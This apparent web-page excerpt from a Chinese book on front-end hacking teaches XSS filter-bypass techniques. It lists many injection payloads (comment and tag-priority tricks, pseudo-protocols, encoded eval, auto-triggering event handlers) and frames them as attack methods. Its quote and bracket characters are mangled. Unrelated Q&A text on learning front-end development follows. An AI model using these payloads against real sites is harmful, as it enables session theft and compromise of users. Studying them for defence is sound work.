HTML中的代码注入技巧
本文所属图书&>&
Web 前端的黑客攻防技术是一门非常新颖且有趣的黑客技术，主要包含Web 前端安全的跨站脚本（XSS）、跨站请求伪造（CSRF）、界面操作劫持这三大类，涉及的知识点涵盖信任与信任关系、Cookie安全、Flash 安全、...&&
编写过HTML代码的人或许知道，完整的HTML代码分为：标签名、属性名、属性值、文本、注释。其中，属性可以是JavaScript事件、资源链接或data对象。当HTML Filter做过滤时，同样是从这些维度出发的，对这些位置可能出现的XSS形式进行过滤，而我们要做的就是使这种过滤手段失效，将我们的代码插入到想要执行的地方。下面来看看我们可以对它们做什么样的绕过方式。
由于HTML语言的松散性和各标签的不同优先级，使得我们可以创造出很多代码混淆或绕过方式。如HTML标签是不区分大小写的，我们可以全部小写：
&script&&/script&
也可以全部大写或者大小写混合：
&SCRIPT&&/ScRiPt&
这对代码的运行没有丝毫的影响，但是这样会阻碍过滤器对关键词的识别。另外，由于现代浏览器对XHTML的支持，使得我们可以在某些浏览器的某些版本中插入XML代码、SVG代码或未知标签。
如在IE 6下可以构造如下代码：
&XSS STYLE=&xss:expression(alert('XSS'))&&
如果对方站点的HTML过滤器是基于黑名单的，很明显，&XSS&标签不在名单之列，使得插入的代码得以被绕过。我们可以通过fuzzing的方式确认究竟哪些标签可用，哪些标签不可用。通常情况下，黑名单的过滤器总会留下漏网之鱼，当然，这类标签都是不常用的标签，例如，以下几个就比较少见：
&isindex PROMPT=&click picture& action=&javascript:alert(1)& src=&http:// /img/baidu_logo.gif& style=&width:290;height:171& type=&image&&
&BGSOUND SRC=&javascript:alert('XSS');&&
&META HTTP-EQUIV=&refresh& CONTENT=&0;url=javascript:alert('XSS');&&
另外，也可以尝试分析出过滤器的缺陷进行针对性的绕过，例如，对方的过滤器判断标签的方法为：
/&([^&]+)&.*?&\/([^&]+)&/
那么当我们构造代码为：
&&SCRIPT&alert(&XSS&);//&&/SCRIPT&
就不会被匹配到，当然，真实的过滤器逻辑会比这个复杂许多，我们可能需要相当长的模糊测试才能够分析出它的大概过滤流程，并构造独特的代码混淆方式。
另外，有些过滤器的HTML Parser很强大，会判断当前代码段是否存在于注释中，如果是注释，则忽略，这样做的目的是为了维持用户数据的最大完整性，但是却给了我们可乘之机。如有些过滤器的判断注释的方法为：&!--.*--&，但注释可以这样写：bbb&!-- aaa &!--aaa--&& ccc--&bbb，这样，&ccc&代码就暴露出来可以执行了。
而与之相反，有些HTML Parser不关心是否有注释，只关心HTML标签、属性、属性值是否有问题，如标签是否是&script&，属性是否是JavaScript事件，属性值是否是伪协议等。但是由于注释优先级较高，我们可以构造以下一段代码：
&!--&a href=&--&&img src=x onerror=alert(1)//&&test&/a&
扫描器忽略了HTML注释后，会认为下面这段是一个完整的HTML语句：
&a href=&--&&img src=x onerror=alert(1)//&&test&/a&
那么下面这段就被认为是属性href的值：
&--&&img src=x onerror=alert(1)//&
从而对这段代码进行放行。但实际上对浏览器来说，&!--&a href=&--&是注释内容，&img src=x onerror=alert(1)//&&则是一个完整的img标签，而onerror则成了一个独立的事件属性得以执行。
另外还有一种特殊的注释：IE HTML条件控制语句，代码样式如下：
&!--[if IE]&所有的IE可识别&![endif]--&
&!--[if IE 6]&仅IE6可识别&![endif]--&
&!--[if lt IE 6]& IE6以及IE6以下版本可识别&![endif]--&
&!--[if gte IE 6]& IE6以及IE6以上版本可识别&![endif]--&
这是IE所独有的，在其他浏览器看来与普通注释无异，但是在IE看来却是可根据条件执行的，这给我们绕过过滤器创造了可乘之机。另外，如下两种条件语句也是可以在IE下被解析执行的：
&!--[if]&&script&alert(1)&/script --&
&!--[if&img src=x onerror=alert(2)//]& --&
在HTML语法中有标签优先级的概念，有些标签如&textarea&、&title&、&style&、&script&、&xmp&等具有非常高的优先级，使得其结束标签甚至可以直接中断其他标签的属性：
&title&&ahref=&&/title&&img src=x onerror=alert(1)//&&
&style&&ahref=&&/style&&img src=x onerror=alert(1)//&&
如上代码在不分优先级的过滤器看来是一个&title&或&style&标签，后面跟了一个&a&标签，那么如果标签和属性都是合法属性，代码就会被放行，但是在浏览器看来则是一对&title&或&style&标签和一个&img&标签，因为&img&拥有一个自动执行的onerror事件属性，使得我们放在事件中的代码得以执行。从这点看，我们可以认为HTML注释本身是一个高优先级的标签。如果过滤器将如上标签也过滤了，那么我们也可以尝试以下这些方式：
&? foo=&&&script&alert(1)&/script&&&
&! foo=&&&script&alert(1)&/script&&&
&/ foo=&&&script&alert(1)&/script&&&
&% foo=&%&&script&alert(1)&/script&&&
这些都是前人模糊测试的结果，前三种可在Firefox和Webkit浏览器中执行，第四种可以在IE中执行。如果过滤器是基于黑名单过滤的，那么有可能会忽略这些。
与标签相似，HTML标签中的属性同样也是大小写不敏感的，并且属性值可以用双引号引起来，也可以用单引号，甚至不用引号在HTML语法上也是正确的。而且在IE下面还可以用反引号`来包括属性值，形式分别如下：
&img src=&#&&（双引号）
&img SRC='#'&（属性名大写、属性值单引号）
&img sRC=# &（属性名大小混合写，属性值不用引号）
&img src=‛#‛&（属性值要用反引号包括）
此外，标签和属性之间、属性名和等号之间、等号和属性值之间可以用空格、换行符（chr(13)）、回车符（chr(10)）或者tab（chr(9)）等，并且个数不受限制，如：
&img&&&&&&&&&&
&&&&&&&&&&& src&&&&&&&&&
&&&&&&&&&&&&& =x
&&&&&&&&&&& onerror=
&&&&&&&&&&& &alert(1)&&
这样的混淆方法是可以在各大浏览器上执行的。另外，我们还可以在属性值的头部和尾部（引号里面）插入系统控制字符，即ASCII值为1~32这32个控制字符，不同的浏览器都有各自的处理方式，如下语句：
&a &#8 href=&&#32javascript:alert(1)&&test&/a&
是可以在IE、Firefox、Chrome下执行的，但语句：
&a &#8 href=&&#32javascript:alert(1)&#27&&test&/a&
就仅可以在IE和Firefox下执行。因此，在使用控制字符时，要有一个预期，期望自己的代码能在哪些浏览器上运行，甚至是哪些浏览器的哪些特定版本上运行。
以上手段在我们绕过富文本过滤器时是非常有用的。对方站点一般允许我们直接输入HTML语句的位置多是发表文章、留言、回帖等文本框位置，这也通常是存储型XSS存在的地方。
当利用反射型XSS时，有时输出的变量会出现在HTML文本里，利用起来相对容易；有时则会出现在属性值中，我们应想办法先闭合这个属性值，然后要么干脆接着闭合当前标签，要么设置一个可触发事件或自动触发事件属性来执行插入的脚本。
HTML属性按用途分，大致可以分普通属性、事件属性、资源属性几种。对于普通属性，如果我们可控制的变量是属性值，那么我们所能做的就只能是突破当前属性，尝试去构造新属性或者构造新标签。若属性值没有用引号，如：
&font color=&?=$_GET['url']?& /&
那么我们利用起来就非常简单，使用?url=x%20onerror=alert(1)就可以使代码执行了，将变量合到代码中的形式为：
&font color=x onerror=alert(1) /&
如果属性值是被引号包括的：
&font color=&&?=$_GET['url']?&& /&
那么就只能看看能否构造自己的引号将已有的属性闭合：
?url=x&%20onerror=alert(1) //
将变量合到代码中的形式为：
&font color=&x& onerror=alert(1) //& /&
但如果对方此时连引号也过滤掉了，或者做了HTMLEncode转义，那么既没有XSS安全隐患，也没有可以利用的方式。不过这里目前至少有两个特例：
&img src=&x` `&script&alert(1)&/script&&` `&（IE 6）
&img src= alt=& onerror=alert(1)//&&（IE、Firefox、Chrome、Opera等）
两段代码中的可执行部分虽然看起来都在属性值中，但代码的确可以运行，这也是广大跨站师模糊测试的结果。
若我们所能控制的是事件属性，除了像上文所说突破当前属性外，最直接的手段就是直接插入我们的代码等待用户来触发：
&a href=&#& onclick=&do_some_func(\&&?=$_GET['a']?&\&)&&test&/a&
例如，对如上代码构造参数为：?a=x');alert(1);//或者?a=',alert(1),'，那么插入代码后的形式为：
&a href=&#& onclick=&do_some_func('x');alert(1);//')&&test&/a&
&a href=&#& onclick=&do_some_func(&,alert(1),&)&&test&/a&
第一段代码将之前的函数闭合，然后构造自己的新代码。第二段代码利用了一个函数可以在另外一个函数中执行的特性，也就是JavaScript中所谓的匿名函数。如果语句是一句话，可以直接写，如果是多句，则需要定义一个匿名方法，语句如下：
&a href=&#& onclick=&do_some_func('',function(){alert(1); alert(2);} ,'')&&test&/a&
另外，关于如何将多个语句合并成一个语句，我们在浏览器的进制常识中已经学到，就是编码。例如，alert(1);alert(2);的十六进制编码如下：
\x61\x6c\x65\x72\x74\x28\x31\x29\x3b\x61\x6c\x65\x72\x74\x28\x32\x29\x3b
那么就可以构造：
&a href=&#& onclick=&do_some_func('',eval('\x61\x6c\x65\x72\x74\x28\x31\ x29\x3b\x61\x6c\x65\x72\x74\x28\x32\x29\x3b') ,'')&&test&/a&
还有一个常识对我们来说非常重要，HTML中通过属性定义的事件在执行时会做HTMLDecode编码，这意味着即便我们的代码被转义成如下形式：
&a href=&#& onclick=&do_some_func('',alert(1),'')&&test&/a&
这段代码依旧是可以执行的。被引入变量只有先进行JSEncode编码，再做HTMLEncode编码，才能彻底防御。
对于资源类属性，我们可以理解为属性值需要为URL的属性，通常，属性名都为src或href。这类属性一般都支持浏览器的预定义协议，包括：http:、ftp:、file:、https:、javascript:、vbscript:、mailto:、data:等。在这些协议中，有些协议是网络交互协议，用来和远程服务器传输数据时统一格式，如http:、https:、ftp:等；有些是本地协议，用来调用本地程序执行一些命令，我们一般称后者这种本地协议为伪协议，如javascript:、vbscript:、mailto:、data:等。由于伪协议可以调用本地程序执行命令这一特点，使得它成为我们在XSS中利用的对象。
常见的支持资源属性的HTML标签如下（包括但不限于以下这些）：
APPLET, EMBED, FRAME, IFRAME, IMG,
INPUT type=image,
XML, A, LINK, AREA,
TABLE\TR\TD\TH的BACKGROUND属性,
BGSOUND, AUDIO, VIDEO, OBJECT, META refresh,SCRIPT, BASE, SOURCE
一个伪协议的声明形式为：协议名:数据，示例如下：
&a href=&javascript:alert(1)&&test&/a&
其中，&javascript&为协议名，冒号&:&作为协议名和数据的分隔符，后面的全部是数据部分。在最初的浏览器定义中，凡是支持输入链接的地方都是支持伪协议的，也就是所谓的IE 6年代。不过现在由于XSS的猖獗，很多浏览器已经把一些被动的（不需要用户交互，可直接随页面加载触发的）资源类链接的伪协议支持屏蔽掉了，比如：
&img src=&javascript:alert(1)&&
也有一些没有屏蔽，比如：
&iframe src=&javascript:alert(1)&&
由于IE 6浏览器在国内的市场份额依旧比较高，即便新版本的浏览器中不能够执行代码，覆盖到IE 6的用户对我们的攻击来说也是一次比较成功的XSS运用。
目前在XSS中常用的伪协议有三个：javascript:、vbscript:（协议名也可以简写为vbs:）和data:，前两者分别可以执行JavaScript脚本和VBScript脚本。但是由于VBScript是微软所独有的，所以仅能在IE下执行，其他浏览器都不支持，而IE还不支持data协议。
同HTML标签和属性的特点相似，伪协议的协议名也是不区分大小写的，并且跟事件相仿，数据也可以做自动的HTMLDecode解码以及进制解码，所以我们可以有多种利用方法：
&iframe src=&jAvAsCRipt:alert('xss')&&
&iframe src=&javascript:alert(&&#88&#83&#83&)&&
&IFRAME SRC=javascript:alert(String.fromCharCode(88,83,83))&
这个特性的增加给过滤器进行代码过滤增加了较大的难度。在XSS发展的初期，当然也是HTML过滤器的发展初期，有些过滤器在实施XSS代码过滤时采取了一种比较鲁莽暴力的黑名单方式。如要过滤&javascript&关键词，那么不管我们提交的数据中的任何位置出现了这个字符，都会被直接替换掉，虽然表面看来似乎有种&宁可错杀一千，也绝不放过一个的派头&。但实际上也只是纸老虎，只能吓唬那些弱小者，稍微有些经验的人使用一点小伎俩就将过滤器绕过了。如采用&javajavascriptscript&这种方式先让过滤器过滤掉一个&javascript&，那么两边的字符合到一起依旧是一个完整的&javascript&字符串。
另外有几个不常用的属性也支持伪协议：
&img dynsrc=&javascript:alert('xss')&&（IE6）
&img lowsrc=&javascript:alert('xss')&&（IE6）
&isindex action=javascript:alert(1) type=image&
有时在过滤器仅过滤了src和href中的伪协议时，我们可以用这种属性绕过。还有一些常用标签的不常见属性：
&input type=&image& src=&javascript:alert('xss');&&
很少有人用到input的type=&image&这个属性，这也将成为我们绕过过滤器的突破点。
3．HTML事件
另一种特殊的HTML属性是事件属性，一般以on开头，如onclick、onmouseover之类。当然，它继承了普通的HTML属性的所有特点：大小写不敏感、引号不敏感等。目前，浏览器通常支持的一些事件如表6-3所示。
表6-3 &HTML事件
鼠标单击时触发
Ondblclick
鼠标双击时触发
Onmousedown
按下鼠标时触发
鼠标按下后松开时触发
Onmouseover
当鼠标移动到某对象范围的上方时触发
Onmousemove
鼠标移动时触发
Onmouseout
当鼠标离开某对象范围时触发
Onmouseenter
当用户将鼠标指针移动到对象内时触发
Onmouseleave
当用户将鼠标指针移出对象边界时触发
onmousewheel
当鼠标滚轮按钮旋转时触发
Onkeypress
当键盘上某个键被按下并且释放时触发
当键盘上某个按键被按下时触发
当键盘上某个按键被放开时触发
页面相关事件
图片在过程中被用户中断时触发
onbeforeunload
当前页面的内容将要被改变时触发
请求出现错误时触发
页面内容加载完成时触发
浏览器的窗口被移动时触发
当对象停止移动时触发
onmovestart
当对象开始移动时触发
当浏览器的窗口大小被改变时触发
onresizeend
当用户更改完控件选中区中对象的尺寸时触发
onresizestart
当用户开始更改控件选中区中对象的尺寸时触发
浏览器的滚动条位置发生变化时触发
浏览器的停止按钮被按下时或者正在的文件被中断时触发
当前页面将被改变时触发（退出、转向或关闭当前页面）
表单及其元素相关事件
当前元素失去焦点时触发
当前元素失去焦点并且元素的内容发生改变时触发
当前元素获得焦点时触发
当元素将要被设置为焦点之前触发
onfocusout
在移动焦点到其他元素之后，在之前拥有焦点的元素上触发
当表单中RESET的属性被激发时触发
当表单被提交时触发
滚动字幕事件（Marquee）
在Marquee内的内容移动至Marquee显示范围之外时触发
当Marquee元素完成需要显示的内容后触发
当Marquee元素开始显示内容时触发
内容编辑事件
onbeforecopy
当页面中被选择的内容将要复制到浏览者系统的剪贴板前触发
onbeforecut
当页面中被选择的内容将要剪切到浏览者系统的剪贴板前触发
onbeforeeditfocus
当前元素将要进入编辑状态时触发
onbeforepaste
当内容将要从浏览者的系统剪贴板传送或粘贴到页面中时触发
oncontextmenu
当浏览者通过鼠标右键或键盘弹出右键菜单时触发
当页面中当前被选择的内容被复制后触发
当页面中当前被选择的内容被剪切时触发
当某个对象被拖动时触发
ondragdrop
一个外部对象被鼠标拖进当前窗口或者帧时触发
当鼠标拖动结束时触发，即鼠标的按钮被释放了
ondragenter
当对象被鼠标拖动的对象进入其容器范围内时触发
ondragleave
当对象被鼠标拖动的对象离开其容器范围内时触发
ondragover
当某个被拖动的对象在另一对象容器范围内拖动时触发
ondragstart
当某对象将被拖动时触发
在一个拖动过程中，释放鼠标时触发
onlosecapture
当元素失去鼠标移动所形成的选择焦点时触发
当内容被粘贴时触发
当文本内容被选择时触发
onselectstart
当文本内容选择将开始发生时触发
onselectionchange
当文档的选中状态改变时触发
onafterupdate
当数据完成由数据源到对象的传送时触发
onbeforeupdate
当一个被数据绑定的元素数据被更新之前触发
oncellchange
当数据来源发生变化时触发
ondataavailable
当数据接收完成时触发
ondatasetchanged
数据在数据源发生变化时触发
ondatasetcomplete
当来自数据源的全部有效数据读取完毕时触发
onerrorupdate
当数据更新出错时触发
onrowenter
当前数据源的数据发生变化并且有新的有效数据时触发
当前数据源的数据将要发生变化时触发
onrowsdelete
当前数据记录将被删除时触发
onrowsinserted
当前数据源将要插入新数据记录时触发
onafterprint
当文档被打印后触发
onbeforeprint
当文档即将被打印时触发
onlayoutcomplete
当打印或打印预览版面处理完成用来自源文档的内容填充当前 LayoutRect 对象时触发
onfilterchange
当某个对象的滤镜效果发生变化时触发
当浏览者按下F1键或者的帮助选择时触发
onpropertychange
当对象的属性之一发生变化时触发
onreadystatechange
当对象的初始化属性值发生变化时触发
onactivate
当对象设置为活动元素时触发
onbeforeactivate
对象要被设置为当前元素前立即触发
onbeforedeactivate
在 activeElement 从当前对象变为父文档其他对象之前触发
oncontrolselect
当用户将要对该对象制作一个控件选中区时触发
ondeactivate
当 activeElement 从当前对象变为父文档其他对象时触发
&如果我们想知道对方的过滤器过滤了哪些事件属性，最简单的方式是用fuzzing机制，使用&div on****=&aaa&&1&/div&的形式将所有的事件都生成出来，然后试探目标站点都过滤了哪些。当然，你也可以直接使用onabcd这样的假事件属性构造这样一个语句：&div onabcd=&aaa&&1&/div&，如果连这样的事件都过滤了，说明对方的过滤器可能使用了白名单，或者是把所有以on开头的属性全部过滤掉了。
有些事件的触发条件相对来说比较复杂，甚至需要其他因素，如数据绑定事件只能在IE下被支持，并且还需要有XML数据的支持：
&xml id=EmpDSO onCellChange=&alert(/onCellChange/)&&
&Employees&
&Employee&
&EmpID&E001&/EmpID&
&/Employee&
&/Employees&
&INPUT datasrc=#EmpDSO datafld=&EmpID& Id=&EmpID& Name=&EmpId& onbeforeupdate= &alert(/onbeforeupdate/)&
onafterupdate=&alert(/onafterupdate/)&&
当文本框中的数据发生改变后，会依次触发onbeforeupdate、oncellchange、onafterupdate这三个事件。
有些事件的触发则需要给用户一些诱导因素，如ondrag事件需要用户拖动才能触发，但拖动并不是用户的常用动作，此时可以人为设计一个要素，要求用户参与时需要拖动，如图6-11所示。
我们插入图6-11这样的图片，这幅图片看起来像是一个iframe，用户会误以为滚动条是真的，于是向下拖动假的滚动条，然后触发了拖动事件。
另外，有时XSS点被限制在了固定的标签里，而恰巧标签本身没有主动执行的事件，如&input&标签，只能通过onchange、onclick、onmouver这类需要用户交互的事件才能触发。这使得我们的XSS攻击成功率变得很小，我们需要采取一些手段来提高XSS攻击的成功率，可以使用样式将目标标签变得很大，使得我们的事件很容易被触发：
&input type=&text& value=&1& style=&width:100%;height:1000position: absolute:top:0left:0px& onmouver=&alert(1)&&
或者尝试利用某些属性或者通过一些组合的方式使事件得以自动执行：
&input onfocus=&alert(1)& autofocus&
&body onscroll=alert(1)&&br&&br&&br&&br&&br&&br&...&br&&br&&br&&br& &input autofocus&
&input type=image src=/uploadfile/808.gif onreadystatechange=alert(1)&
您对本文章有什么意见或着疑问吗？请到您的关注和建议是我们前行的参考和动力&&
(window.slotbydup=window.slotbydup || []).push({
id: '2467141',
container: s,
size: '1000,90',
display: 'inlay-fix'
您的浏览器不支持嵌入式框架，或者当前配置为不显示嵌入式框架。
(window.slotbydup=window.slotbydup || []).push({
id: '2467142',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467143',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467148',
container: s,
size: '1000,90',
display: 'inlay-fix'零基础开始学 Web 前端开发，有什么建议吗？
该学哪一些内容？先后顺序是什么样子？有推荐的书吗？
前端工程师，也叫Web前端开发工程师。他是随着web发展，细分出来的行业。Web前端开发技术主要包括三个要素：HTML、CSS和JavaScript！它要求前端开发工程师不仅要掌握基本的Web前端开发技术，网站性能优化、SEO和服务器端的基础知识，而且要学会运用各种工具进行辅助开发以及理论层面的知识，包括代码的可维护性、组件的易用性、分层语义模板和浏览器分级支持等。随着近两三年来RIA（Rich Internet Applications的缩写，中文含义为：丰富的因特网应用程序）的流行和普及带来的诸如：Flash/Flex，Silverlight、XML和服务器端语言（PHP、，JSP、Python）等语言，前端开发工程师也需要掌握。前端开发的入门门槛其实很低，与服务器端语言先慢后快的学习曲线相比，前端开发的学习曲线是先快后慢。HTML 甚至不是一门语言，他仅仅是简单的标记语言！CSS 只是无类型的样式修饰语言。当然可以勉强算作弱类型语言。Javascript 的基础部分相对来说不难，入手还算快。也正因为如此，前端开发领域有很多自学成“才”的同行，但大多数人都停留在会用的阶段，因为后面的学习曲线越来越陡峭，每前进一步都很难。Web前端技术有一些江湖气，知识点过于琐碎，技术价值观的博弈也难分伯仲，即全局的系统的知识结构并未成体系，这些因素也客观上影响了“正统“前端技术的沉淀！而且各种“奇技淫巧”被滥用，前端技术知识的传承也过于泛泛，新人难看清时局把握主次。因此，前端技术领域，为自己觅得一个靠谱的师兄，重要性要盖过项目、团队、公司、甚至薪水。另一方面，正如前面所说，前端开发是个非常新的职业，对一些规范和最佳实践的研究都处于探索阶段。总有新的灵感和技术不时闪现出来，例如CSS sprite、负边距布局、栅格布局等；各种JavaScript框架层出不穷，为整个前端开发领域注入了巨大的活力；浏览器大战也越来越白热化，跨浏览器兼容方案依然是五花八门。为了满足“高可维护性”的需要，需要更深入、更系统地去掌握前端知识，这样才可能创建一个好的前端架构，保证代码的质量。随着手持设备的迅猛发展，带动了 HTML5行业标准的快速发展。web领域的技术，大概有10年都没有大的更新了！现在市场很需要优秀的、高级的前端工程师。一方面是因为这是一个比较新的细分行业，而且前端程序员大都自学一部分，知识结构不系统；另一方面，大学里面没有这种课程，最最重要的是：北大青鸟这类培训机构也没有专门的前端工程师的培训课程！！吴亮在《JavaScript 王者归来》第一张的序里面说：大多数程序员认为 Javascript 过于简陋，只适合一些网页上面花哨的表现，所以不愿花费精力去学习，或者以为不学习就能掌握。实际上，一门语言是否脚本语言，往往是她的设计目标决定，简单与复杂并不是区分脚本语言和非脚本语言的标准。事实上，在脚本语言里面，Javascript 属于相当复杂的一门语言，他的复杂度即使放在非脚本语言中来衡量，也是一门相当复杂的语言！Javascript 的复杂度不逊色于 Perl 和 Python！如何学习前端知识？ 我们生活在一个充满规则的宇宙里面。社会秩序按照规则运行，计算机语言几乎全部是规则的集合。计算机前辈们定义规则，规则约束我们，我们用规则控制数据。大部分时候，对数据的合理控制，来自于你对规则的掌握。学习 HTML，CSS 应该先跟着书仔细、扎实的学一遍。然后就需要做大量的练习，做各种常规的、奇怪的、大量的布局练习来捆固、理解自己的知识。而学习 Javascript 首先要知道这门语言可以做什么，不能做什么，擅长做什么，不擅长做什么！如果你只想当一个普通的前端程序员，你只需要记住大部分 Javascript 函数，做一些练习就可以了。如果你想当深入了解Javascript，你需要了解 Javascript 的原理，机制。需要知道他们的本源，需要深刻了解 Javascript 基于对象的本质。还需要 深刻了解 浏览器宿主 下 的 Javascript 的行为、特性。因为历史原因，Javascript一直不被重视，有点像被收养的一般！ 所以他有很多缺点，各个宿主环境下的行为不统一、内存溢出问题、执行效率低下等问题。作为一个优秀的前端工程师还需要深入了解、以及学会处理 Javascript 的这些缺陷。那么一名优秀的、甚至卓越的 前端开发工程师的具备什么条件？首先，优秀的Web前端开发工程师要在知识体系上既要有广度和深度！做到这两点，其实很难。所以很多大公司即使出高薪也很难招聘到理想的前端开发工程师。技术非黑即白，只有对和错，而技巧则见仁见智。在以前，会一点Photoshop和Dreamweaver的操作，就可以制作网页。现在，只掌握这些已经远远不够了。无论是开发难度上，还是开发方式上，现在的网页制作都更接近传统的网站后台开发，所以现在不再叫网页制作，而是叫Web前端开发。Web前端开发在产品开发环节中的作用变得越来越重要，而且需要专业的前端工程师才能做好。Web前端开发是一项很特殊的工作，涵盖的知识面非常广，既有具体的技术，又有抽象的理念。简单地说，它的主要职能就是把网站的界面更好地呈现给用户。其次，优秀的Web前端开发工程师应该具备快速学习能力。Web发展的很快，甚至可以说这些技术几乎每天都在变化！如果没有快速学习能力，就跟不上Web发展的步伐。前端工程师必须不断提升自己，不断学习新技术、新模式；仅仅依靠今天的知识无法适应未来。Web的明天与今天必将有天壤之别，而前端工程师的工作就是要搞清楚如何通过自己的Web应用程序来体现这种翻天覆地的变化。说到这里，我想起了一个大师说过的一句话：对于新手来说，新技术就是新技术。对于一个高手来说，新技术不过是就技术的延伸。再者，优秀的前端工程师需要具备良好的沟通能力，因为前端工程师至少都要满足四类客户的需求。1、产品经理。这些是负责策划应用程序的一群人。他们会想出很多新鲜的、奇怪的、甚至是不可是实现的应用。一般来说，产品经理都追求丰富的功能。2、UI设计师。这些人负责应用程序的视觉设计和交互模拟。他们关心的是用户对什么敏感、交互的一贯性以及整体的好用性。一般来说，UI设计师于流畅靓丽、但并不容易实现的用户界面，而且他们经常不满前端工程师造成 1px 的误差。3、项目经理。这些人负责实际地运行和维护应用程序。项目管理的主要关注点，无外乎正常运行时间、应用程序始终正常可用的时间、性能和截止日期。项目经理追求的目标往往是尽量保持事情的简单化，以及不在升级更新时引入新问题。4、最终用户。指的是应用程序的主要消费者。尽管前端工程师不会经常与最终用户打交道，但他们的反馈意见至关重要。最终用户要求最多的就是对个人有用的功能，以及竞争性产品所具备的功能。Yahoo 公司 ，YUI 的开发工程师 Nicholas C. Zakas 认为：前端工程师是计算机科学职业领域中最复杂的一个工种。绝大多数传统的编程思想已经不适用了，为了在多种平台中使用，多种技术都借鉴了大量软科学的知识和理念。成为优秀前端工程师所要具备的专业技术，涉及到广阔而复杂的领域，这些领域又会因为你最终必须服务的各方的介入而变得更加复杂。专业技术可能会引领你进入成为前端工程师的大门，但只有运用该技术创造的应用程序以及你跟他人并肩协同的能力，才会真正让你变得优秀。————————————关于书籍：HTML、CSS 类别书籍，都是大同小异，在当当网、卓越网搜索一下很多推荐。如果感觉学的差不多了，可以关注一下《CSS禅意花园》，这个很有影响力。Javascript 的书籍 推荐看老外写的，国内很多 Javascript 书籍的作者对 Javascript 语言了解的都不是很透彻。这里推荐几本 Javascript 书籍：初级读物：《JavaScript高级程序设计》：一本非常完整的经典入门书籍，被誉为JavaScript圣经之一，详解的非常详细，最新版第三版已经发布了，建议购买。《JavaScript王者归来》百度的一个Web开发项目经理写的，作为初学者准备的入门级教程也不错。中级读物：《JavaScript权威指南》：另外一本JavaScript圣经，讲解的也非常详细，属于中级读物，建议购买。《JavaScript.The.Good.Parts》：Yahoo大牛，JavaScript精神领袖Douglas Crockford的大作，虽然才100多页，但是字字珠玑啊！强烈建议阅读。《高性能JavaScript》：《JavaScript高级程序设计》作者Nicholas C. Zakas的又一大作。《Eloquent JavaScript》：这本书才200多页，非常短小，通过几个非常经典的例子（艾米丽姨妈的猫、悲惨的隐士、模拟生态圈、推箱子游戏等等）来介绍JavaScript方方面面的知识和应用方法。高级读物：《JavaScript Patterns 》：书中介绍到了各种经典的模式，如构造函数、单例、工厂等等，值得学习。《Pro.JavaScript.Design.Patterns》：Apress出版社讲解JavaScript设计模式的书，非常不错。《Developing JavaScript Web Applications》：构建富应用的好书，针对MVC模式有较为深入的讲解，同时也对一些流程的库进行了讲解。《Developing Large Web Applications》：不仅有JavaScript方面的介绍，还有CSS、HTML方面的介绍，但是介绍的内容却都非常不错，真正考虑到了一个大型的Web程序下，如何进行JavaScript架构设计，值得一读。要做优秀的前端工程师，还需要继续努力：《高性能网站建设指南》、《Yahoo工程师的网站性能优化的建议》、“YSLOW”性能优化建议、《网站重构》、《Web开发敏捷之道》、“ jQuery 库”、“前端框架”、“HTML5”、“CSS3”。。。 这些都要深入研究！万事开头难！如果你能到这个境界，剩下的路自己就可以走下去了。人们常说：不想当裁缝的司机，不是个好厨师。如果单纯只是学习前端编程语言、而不懂后端编程语言（PHP、，JSP、Python），也不能算作是优秀的前端工程师。在成为一个优秀的前端工程师的道路上，充满了汗水和辛劳。
以下这个答案可能和问题无关，但是能希望能帮到0基础的同学之前参加Rails Girls时写的，旨在帮助想学做网站的同学们入门。原文：，欢迎建议====================================0基础怎样开始学习做网站？目标读者：完全0基础的人，Rails Girls，想了解技术的同学，产品新人大多数教学, 都太有条理了。先讲概念,
HTML是什么，CSS是什么，HTTP请求是什么....但是一次性听到这么多陌生的概念，很容易晕的。过于抽象了，所以试着写一篇以例子为导向，而不是以概念为导向的介绍，来帮助大家入门Ruby on RailsRuby on Rails是做什么的？做网站的，你知道什么是网站（淘宝，知乎..），Rails能做这些，就行了1. 网站-&网页-&按钮我们要做的是什么？是网站，那么就直接以知乎为例好了这样一个网站，是怎么和“代码”，Rails联系起来的呢?这个太复杂了，我们不如只看他的首页（上图）就拿这个页面来说，他是有3部分构成的，HTML,CSS,JS。不过这样说，依然没有什么用我们只拿出其中的一个按钮，来解释这个概念我应该怎么来写代码，来实现这个按钮？这个时候，就要用到HTML了，代码如此：& button class="sign-button submit" type="submit"&注册知乎&/button&写好以后，生成的就是按钮了（如图）"靠，可是这也差得太远了吧？这两个怎么能是一个东西呢！！"，你可能会想但是他的功能，是不是都是一样的呢？（就是点击）这个时候，就用到CSS了。（不要在意代码具体什么意思，知道这是CSS就行了）（至于JS，可以以后再说）上
面想说的就是，我们看到的网页，都是用HTML,CSS,JS写的：HTML来说明这个内容是什么，CSS来让这个内容变好看（How it
looks）。这里说的是按钮，其实，网页上的所有这些文字，标题等等都是这样，都是HTML+CSS+JS写的，如下图的头像，链接等等再举个例子，上面的指向某个问题的链接纯粹的HTML，以及加上CSS来改变他的样子之后小结一下，上面介绍了什么是HTML,CSS,(JS)[如果有任何问题，可以直接提问]2. 难道要重复写很多遍吗？再看知乎里面的“发现”页面，一条一条的“回答”这些“回答“的结构，都是相似的。那是不是，我们的代码就要这样一条一条的写下去呢...？显然，这太麻烦了，所以要用到循环，也就是用编程语言（e.g. Ruby）来做 (e.g for loop )或者，想根据用户登录/未登录的状态，来调整页面的内容这里，知乎对于未登录的用户，会有登录的按钮；登录的用户，则显示消息，头像等等。这就用到了编程的东西（if else判断）[if else, for loop，这些应该还能理解吧？]3. 怎么实现注册功能？上面，我们讲到了看到的网站是如何由代码构成的不过，写到这里，你可能还在想，这不拖拖拽拽就行了吗？e.g. Dreamwaver, front page等软件确实如此。不过，我们怎么实现“用户注册”的功能呢？这个时候，就不仅仅是”循环“、”判断“了。显然，这时候，要涉及到更多更为复杂的逻辑。这个时候，就要用到Rails了，我们要用他来实现——注册、登录的功能，发帖的功能，提问的功能，点赞的功能等等等。所以，Rails（PHP, Python等等）就是用来实现这些“功能的”。这里不再举例子了，因为太复杂，只提几个问题，让大家思考一下，拿论坛发帖子来说：我们怎么实现“创建”一个帖子的功能？又怎么“修改”，怎么“删除”？这下，应该能感到这些功能的复杂了。不过，现在依然不用深究，只要知道Rails是用来处理这些复杂逻辑的东西，就行了（此外，我们有这么多用户的数据，帖子的数据，点赞的数据，就又牵扯到数据库了）。4.
